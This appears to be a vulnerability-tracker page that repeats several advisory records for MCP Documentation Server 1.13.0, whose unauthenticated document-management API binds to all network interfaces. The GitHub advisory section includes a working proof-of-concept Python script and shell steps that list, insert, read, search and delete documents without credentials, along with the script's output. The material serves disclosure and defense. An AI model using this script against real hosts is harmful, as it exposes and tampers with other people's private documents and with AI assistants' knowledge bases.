MCP Documentation Server: Web UI API binds to all interfaces without authentication by default

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

Source published

17 Sep 2026 18:36:40 UTC

Source modified

17 Sep 2026 19:09:50 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

Source published

Sep 17, 2026, 6:36:40 PM (timezone not stated)

Source modified

Sep 17, 2026, 7:09:50 PM (timezone not stated)

Observed here

11 Nov 2026 14:00:27 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated document-management API to all interfaces rather than localhost. A network-reachable client can invoke GET /api/documents, GET /api/documents/:id, POST /api/documents, POST /api/search-all, DELETE /api/documents/:id, and GET /api/config without credentials to enumerate and read documents, search the corpus, insert or delete documents, and tamper with the MCP assistant's knowledge base. The service must be reachable from the attacker's LAN, VM network, container bridge, VPN, or another routed network, and the issue does not provide remote code execution. This issue is fixed in 1.13.1.

Source published

17 Sep 2026 19:16:50 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 13:17:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

Source published

15 Jul 2026 23:26:57 UTC

Source modified

15 Jul 2026 23:41:41 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH